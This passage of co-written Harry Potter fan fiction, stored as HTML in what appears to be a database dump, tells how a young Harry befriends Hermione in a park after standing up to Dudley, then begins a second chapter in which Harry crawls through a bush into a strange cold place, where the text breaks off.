class="MsoNormal">&#8220;That&#8217;s mine!&#8221; the girl said, this time Harry could see two fat tears\nroll down her cheeks. The other people in the crowd sniggered and jeered as\nDudley held the book high over his head. She hopped up, her bushy brown hair\nflying out around her as she tried to reach the book.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not anymore it&#8217;s not.&#8221; Dudley said again, looking back over his\nshoulder to make sure his mother could not see him. &#8220;I think I&#8217;ll drop this\nbook in a nice mud puddle.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;NO!&#8221; the girl cried out, now in hysterics. She began to cry in earnest\nand Harry could no longer hold himself back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Give it to her Dudley.&#8221; He made his voice sound as strong as he could.\nDudley sneered at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why should I?&#8221; he asked. &#8220;You going to hit me Potter? Go tell on me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can tell Aunt Petunia about that big chocolate stain on your carpet.&#8221;\nHarry said, folding his skinny arms across his chest. Dudley&#8217;s eyes showed a\nmoment of panic, and then he smiled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Go ahead. I&#8217;ll just blame it on you.&#8221; He said smugly. Harry smiled\ncoolly back and shook his head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well your parents don&#8217;t allow me in your room, and they don&#8217;t give me\nany sweets, you know that Dudley. How would I make a chocolate stain on your\nrug when you always eat it all, and when I&#8217;ve never been in your room?&#8221; Harry\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dudley&#8217;s hand clenched around the book, and the whole group was silent\nexcept for the choked sobs of the girl. Slowly, Dudley brought his arm down and\nshoved the book at the girl so hard she staggered back. Without a word, he\nglared once more at Harry and turned away, his followers behind him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you.&#8221; The soft voice of the girl made him turn. &#8220;I normally\nwouldn&#8217;t make such a big deal except my grandmother gave me this book, I suppose\nI should know better than to bring it to a park but it&#8217;s so good and I&#8217;m right\nin the middle of reading it and&#8212;&#8220;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No problem.&#8221; Harry said, trying to get her to stop rambling. He turned\nto go back into the trees and resume his nap, but she followed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That was the first time anyone&#8217;s stuck up for me.&#8221; Her voice rose\nslightly. She looked poised to run at him and Harry hoped she wasn&#8217;t going to\nhug him or anything embarrassing. He simply nodded at her and turned away\nagain, yet she still followed him and actually sat down on his nest of pine\nneedles.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m Hermione Granger.&#8221; She said, holding out her hand. Harry\nreluctantly took it and shook it once.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry Potter.&#8221; He replied, sitting down next to her. They were silent\nfor a long moment. &#8220;Do you come here a lot?&#8221; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sometimes.&#8221; She answered. &#8220;Usually only if I&#8217;ve finished my homework.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Homework?&#8221; Harry asked, perplexed. &#8220;But term&#8217;s just ended, why would\nyou have homework?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I like to ask my teachers for extra reading assignments during the\nsummer holiday.&#8221; Hermione replied. &#8220;It gives me a head start for next term.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry blinked. He&#8217;d never heard of anyone who actually liked doing\nhomework, much less doing homework over the holiday. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve just finished about half of it, and I can do the rest later this\nsummer.&#8221; Hermione said, she loved talking about reading it was her favourite\nthing to do.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh.&#8221; Harry couldn&#8217;t think of anything else to say. He leaned back\nagainst the tree and closed his eyes again. After a moment he heard a crackling\nnoise and looked to find Hermione digging in her pockets.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Want a piece of candy?&#8221; she asked, holding one out to him. No one ever\noffered him candy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; He said, sitting back up straight and accepting it. He unwrapped\nit and popped it into his mouth, and a warm spicy taste filled his mouth. He\nlooked at her in surprise. &#8220;Pumpkin pie flavoured candy?&#8221; he asked. He&#8217;d never\nheard of such a thing, but then again, candy was mostly forbidden to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, my mum gets it from time to time.&#8221; Hermione said, sticking a piece\nin her own mouth. It was hard candy; if they sucked on it it&#8217;d last for quite\nawhile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you.&#8221; Harry said. He leaned back again, unsure of what to say.\nShe was being awfully nice to him, but he&#8217;d never had anyone take any sort of\ninterest in him before and didn&#8217;t know how to respond. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A few more awkward moments later, Hermione stood up. &#8220;Well&#8230;um&#8230;I suppose\nI should go.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay&#8230;&#8221; Harry said. &#8220;See you later.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione turned and strode off rather quickly, so he couldn&#8217;t see the\ntears build up in her eyes. She had thought for a few minutes there, maybe,\nthat this boy Harry could be her friend. Especially after she had given him the\npiece of candy, but then he&#8217;d gone back to lying down and not saying anything. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry watched her retreating figure, and felt bad. He realized he could\nhave been nicer to her; she had even given him the candy. Getting up to go\nafter her, he saw that she was now nowhere in sight. He supposed that tomorrow\nhe&#8217;d try again; perhaps she could be his first friend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*** The Next Day***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dudley give them back! Piers!!&#8221; Harry was desperate, Dudley&#8217;s friend\nPiers had grabbed his glasses as soon as Harry had put their toys down and ran.\nHis vision was so blurred he couldn&#8217;t tell who was who. Now the two boys were\nplaying a game of catch, Harry knew they hoped the glasses would break.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hahaha!!&#8221; Dudley was laughing so hard his body was shaking\nuncontrollably. He caught the glasses as Piers threw them over, and he slipped\nthem on, the frames nearly cracking because they weren&#8217;t wide enough for his\nface. &#8220;Look at me, I&#8217;m Harry Potter!&#8221; Piers flung himself on the ground,\nlaughing. &#8220;Give me my glasses!&#8221; he said in a high-pitched tone of voice. He\npushed them up higher on his nose and then SNAP! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh no!&#8221; Harry knew perfectly well what that snap was, his glasses were\nnow broken. He dropped to his hands and knees and began to feel around for\nthem, the world was one big blur still.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hahaha!&#8221; Dudley was still laughing when CRACK! A large rock hit him in\nthe middle of his wide forehead.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Go away!&#8221; Hermione yelled, holding another rock back and letting it\nfly, this time hitting Piers. &#8220;You big fat bully! Go away and pick on someone\nelse!&#8221; She let two more rocks hurl in the direction of Dudley and Piers, she\nhad quite a good arm. The two boys got up (Dudley much slower than Piers) and\nlumbered away, turning to glare back at her with an anger that ran deeper than\na seven year old should have.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you okay?&#8221; Hermione asked, coming forward and picking up the two\nhalves of the glasses. She handed them to Harry, who held them up to his eyes\nand was thankful the lenses hadn&#8217;t broken.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think so.&#8221; Harry muttered. He was embarrassed that he had been saved\nby a girl, but that feeling was replaced by one of gratitude almost\nimmediately. He looked at her and smiled. &#8220;You have really good aim.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; She replied, smiling back at him. &#8220;Here, let me go take those\nto my mum I think she&#8217;s got some tape that will hold them together.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221; Harry asked. He took them away from his eyes and handed them\nto her. &#8220;I&#8217;ll stay here, I can&#8217;t see anything.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; She hurried over to her mother and just a few minutes later,\nhurried back with the glasses held together in the bridge with a white cloth\nlike tape. &#8220;Good as new, sort of.&#8221; Hermione handed them to him and he fit them\nneatly back onto his nose.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221; Harry said again, and scuffed a little at the dirt. &#8220;Hey\nlisten, do you want to go back to where we were sitting yesterday?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I thought that was your private place.&#8221; Hermione said. &#8220;I didn&#8217;t think\nyou wanted me there.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well really&#8230;&#8221; Harry went red in the face as they began to walk towards\nthe grove of trees. &#8220;I&#8217;m not used to people being nice to me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why?&#8221; Hermione asked, a bit astonished.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I live with my aunt and uncle, and Dudley&#8217;s my cousin.&#8221; Harry\nsaid. &#8220;My parents died in a car crash when I was a baby.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry.&#8221; Hermione said quietly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s okay.&#8221; Harry said. &#8220;But I have this weird scar, see?&#8221; he lifted\nhis bangs and showed her the lightning bolt shaped scar on his forehead. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s interesting.&#8221; She said. &#8220;Can I touch it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry dropped his hand. &#8220;What?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can I touch it?&#8221; she repeated. He nodded after a moment and lifted his\nhair back up. She took her small index finger and touched it gently at first,\nunaware that his bright green eyes were boring into hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s a cool scar.&#8221; Hermione said. She pulled her hand away and he once\nagain let his bangs drop over his forehead.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No book today?&#8221; Harry asked, changing the subject. His scar felt a bit\ntingly where she had touched it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, I didn&#8217;t want to take any chances of anyone taking it again.&#8221; She\nreplied. Another awkward silence fell between them as they sat down on the pine\nneedles.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry about being so mean yesterday.&#8221; Harry said finally. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You weren&#8217;t that mean, not as mean as Dudley.&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well no, but I could have been nicer to you, especially after you gave\nme candy.&#8221; Harry paused. &#8220;It&#8217;s just that&#8230;I&#8217;ve never really had any friends\nbefore, so&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221; Hermione asked. &#8220;Me&#8230;either.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well how about we, you know, us, being friends?&#8221; Harry asked, almost\ntimidly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded. &#8220;Okay.&#8221; She said. She stuck her hand out again and\nHarry this time, grasped it a little more firmly and shook it. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Friends.&#8221; He said, grinning at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Friends.&#8221; She repeated, smiling back.</p>\n\n\n\n\n\n\n'),
	(81, 2, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 2</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Thanks\neveryone for the response on chapter 1. Since we&#8217;re co writing this, it takes a\nlittle longer to get the chapters out because we have our other fics to juggle\nas well. But we appreciate your patience! :)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">While you are\nwaiting for the next chapter, please check out our individual stories, and also\nour OTHER co-authored fic, The Art of Seduction.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry bent over\nand tied his shoelaces tightly, then without being asked, began to lug Dudley&#8217;s\ntoys out to the car. After he had stuffed them in, he went back into the\nkitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I already gave\nyou breakfast, boy.&#8221; Petunia said as she glanced over. &#8220;Fix your hair before we\nleave.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry ran his\nhand through his hair and tried to flatten it. &#8220;I just came to get the lunch\nsack Aunt Petunia.&#8221; He said politely. Harry was trying not to show how eager he\nwas to get to the park. Sometimes if his relatives knew he liked something,\nthey kept it from him. While Harry knew they could not leave him here alone, he\nhad an idea that Aunt Petunia might try and keep him from playing with his new\nfriend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Petunia&#8217;s eyes\nnarrowed momentarily at Harry, but then she stuffed the last piece of cake into\nthe bag and pushed it wordlessly over the counter to him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He wasn&#8217;t sure if\nit was just him or not, but the sack seemed to be heavier each day. However, he\nstayed quiet and soon enough, they were on their way.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As soon as they\nreached the park, Harry quickly opened the boot and (gently) dumped Dudley&#8217;s\ntoys and the sack down on the grass, and then scooted off quickly towards the\ngrove of trees where he thought he might find Hermione. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dudley&#8217;s eyes\nfollowed him, he hadn&#8217;t failed to notice that Harry and that girl had been\ntalking yesterday and Dudley had also noticed how eager his cousin was to get\nto the park, even though he tried to hide it. A sly smirk crossed his pudgy\nface; perhaps this was information he could use at a later date. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mum are we\nleaving soon?&#8221; Hermione called up the stairs. She was extremely eager to get to\nthe park to see Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;In ten more\nminutes, why don&#8217;t you get your lunch ready?&#8221; Mrs. Granger called back down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; Hermione\nwent into the kitchen and quickly got together what she wanted to eat that day.\nAfter thinking a moment, she grabbed a small plastic bag and stuffed about\nfifteen cookies inside. She smiled to herself as she thought about giving them\nto Harry, from the way he reacted when she had given him the sweet the first\nday and then she also gathered his aunt and uncle didn&#8217;t give him much,\ncertainly not with his fat cousin around.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now, Hermione,\nsweetheart, Daddy, you and I had the talk the other day about too many sweets&#8230;&#8221;\nMrs. Granger had entered the kitchen. Hermione looked down and realized her\nfifteen cookies had turned into about fifty.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, I&#8217;m sorry\nMum.&#8221; Hermione smiled sheepishly and took some of them back out. &#8220;These aren&#8217;t\nall for me though, my friend Harry doesn&#8217;t get many sweets at his house so I\nthought I&#8217;d bring him some.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s very\nthoughtful of you, dear.&#8221; Mrs. Granger said, smiling at her daughter. She was\npleased that Hermione was making some friends; there had been plenty of times\nwhere she&#8217;d seen her child on the outskirts of action, rather than with the\nother kids her age.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m going to\nbring my red ball so we have something to play with.&#8221; Hermione was saying as\nshe stuffed the smaller bags into her larger one and swung it back over her\nshoulder. She followed her mother out to their car, grabbing the ball on the\nway and settling it and her bag neatly on the seat beside her. Biting her lip,\nshe tried to curb her enthusiasm, dancing on the seat wouldn&#8217;t get her there\nany faster.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, I&#8217;d\nlike to meet this boy you&#8217;ve become friends with.&#8221; Mrs. Granger said as she\nparked the car and they got out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; Hermione\nwas impatient to go. She grabbed her bag and the ball from the seat. &#8220;I think\nhe&#8217;s already waiting for me in the woods though.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well later then,\ndear. Have fun.&#8221; Mrs. Granger said as Hermione dashed away. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry heard a\nscuffling and he turned to find Hermione just entering the clearing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi!&#8221; he said,\nrelieved. He was a bit afraid she wasn&#8217;t going to show up, that she&#8217;d decided\nit wasn&#8217;t worth it being friends with him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Harry.&#8221;\nHermione answered, panting slightly. Harry noticed this.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you okay?&#8221;\nhe asked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m fine.&#8221; She\nreplied. &#8220;I just rushed in here so Dudley wouldn&#8217;t see me and follow, he&#8217;d\nprobably play in here just so we couldn&#8217;t.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good idea.&#8221;\nHarry was impressed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled.\n&#8220;Here.&#8221; She said, opening her bag and pulling out the small sack of cookies. &#8220;I\nbrought these for you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;For me?&#8221; Harry\nlooked like he was stunned. Gingerly taking the sack, he was surprised to find\na load of cookies in it. &#8220;You brought these just for me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, silly.&#8221;\nHermione smiled even wider, she was pleased with herself. &#8220;They&#8217;re really good\ntoo.&#8221; She reached in the bag and took one, then bit into it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned\ntoo. Digging into the bag, he stuffed a cookie in his mouth. &#8220;Chocolate chip!&#8221;\nhis eyes widened. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Aren&#8217;t they the\nbest?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded\nvigorously. &#8220;I&#8217;ve only had them twice, but they&#8217;re my favourite.&#8221; He greedily\ndevoured another one. They settled back against the trunk of a rather wide tree\nand shared the remaining cookies.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So what are your\nfavourite things to do?&#8221; Hermione asked, trying to make pleasant conversation.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me?&#8221; Harry\nseemed surprised she wanted to know, and Hermione had to remind herself again\nthat he probably never had anyone interested in his behaviour before. &#8220;Well&#8230;I\nlike to watch the clouds.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Watch the\nclouds?&#8221; she seemed a bit confused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, watch the\nclouds, and see the shapes they make.&#8221; Harry replied. &#8220;Sometimes I make up\nstories about them.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221;\nHermione brightened. &#8220;Will you tell me one?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I really\ndon&#8217;t remember any&#8230;&#8221; Harry&#8217;s face was red with embarrassment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh please?&#8221;\nHermione asked. She loved to hear stories.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay&#8230;&#8221; Harry\nrelented. He scrunched down and laid flat on his back. &#8220;There!&#8221; he pointed up\nand Hermione quickly lay down next to him. &#8220;That cloud there, can you see the\ngiant?&#8221; he traced the outline with his finger.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes!&#8221; Hermione\nsaid, excitement evident in her voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well he&#8217;s a\ngiant who lives among the hills of Scotland. He has a pet snake, like a boa\nconstrictor, whom he really loves. One day, a gang of trolls invaded the hills\nand took over his cave, making him sleep outside.&#8221; Harry paused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Go on!&#8221; Hermione\nsaid, enjoying his tale.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, the trolls\ncaptured his snake, and planned to make it their dinner&#8230;.&#8221; Harry spun a full\nstory on how the giant managed to get his snake back and run the trolls away\nfrom the hills, making him a hero among the other giants.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry that was\ngreat!&#8221; Hermione said sincerely. &#8220;Did you just make it all up?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah.&#8221; Harry ran\na hand through his hair and grinned sheepishly. &#8220;Did you like it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I loved it!&#8221;\nHermione clapped her hands together gleefully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What about you,\nwhat do you like to do?&#8221; Harry turned the tables on her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I like to\nread&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I already knew\nthat.&#8221; Harry joked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione shot him\na glare. &#8220;I also like to bake with my mum, and I like to watch the television\nsometimes.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded.\n&#8220;Dudley loves to watch television, they have one in nearly every room of the\nhouse, but mine and the kitchen.&#8221; He was too ashamed to admit that he slept in\na cupboard under the stairs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded,\nand then they were silent a few moments.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What else do you\nhave in your bag?&#8221; Harry asked, now feeling uncomfortable in the silence rather\nthan talking.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s eyes\nbrightened and she pulled out her ball. &#8220;We can play catch!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Play what?&#8221; Harry\nwas confused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She stopped and\nstared at him. &#8220;You don&#8217;t know how to play catch?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry shrugged.\n&#8220;My relatives don&#8217;t play games with me, and Dudley never does anything\nathletic.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh.&#8221; Hermione\nfelt at a loss for words. &#8220;Well, it&#8217;s fairly easy. You go back there by those\nbushes.&#8221; She motioned to Harry and he did as she said. &#8220;I&#8217;ll toss you the ball,\nand then you throw it back to me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s easy\nenough.&#8221; Harry felt grateful she didn&#8217;t make fun of him for not knowing what to\ndo. She threw the ball and he dodged over, and to his surprise, managed to\ncatch it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Good!&#8221; Hermione\nbeamed as he threw it back to her. She tossed it back to him, and he once again\nmanaged to catch it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You have a good\narm.&#8221; Harry said. &#8220;I know I told you that yesterday, but you really do.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well my Dad and\nI play catch together on Sundays sometimes.&#8221; Hermione said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Throw it as hard\nas you can.&#8221; Harry said, lobbing the ball back at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay!&#8221; Hermione\nheaved the ball at him and Harry staggered back as he caught it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow.&#8221; He was\nimpressed. &#8220;Here, do it again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione lifted\nher arm and threw the ball, but this time Harry missed and it went directly\ninto the bushes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh no!&#8221; Hermione\nwailed. She didn&#8217;t want to lose her ball.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s okay, I&#8217;ll\ngo get it.&#8221; Harry volunteered. His frame was slight enough so he could scuttle\nunder the bushes. He crawled under, expecting to see the ball and was surprised\nwhen it wasn&#8217;t there. &#8220;Weird&#8230;&#8221; he muttered, crawling further. Finally he saw a\nsmall glimmer of red, and hurried to reach it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As he grabbed for\nthe ball, he suddenly noticed a drastic change in temperature. He shivered in\nhis too large shirt and trousers. Harry then realized that he was no longer in\nthe bushes as well, and stood up. He looked around, and realized that he was no\nlonger in the park.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221; he\nshouted. &#8220;Hermione come here!&#8221; he waited a few moments for her to push through\nthe bushes, but she never came. Not wanting to stay there alone any longer, he\nducked back through the brush.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221; he\nsaid as he poked his head out. She looked up from where she&#8217;d been rummaging in\nher bag.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; she\nasked. Harry tossed her the ball as he came out from the bush.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Didn&#8217;t you hear\nme calling?&#8221; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, I didn&#8217;t\nhear anything.&#8221; Hermione replied, setting the ball neatly in the bag and\nshouldering it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gaped at\nher for a long moment. &#8220;Come with me.&#8221; He 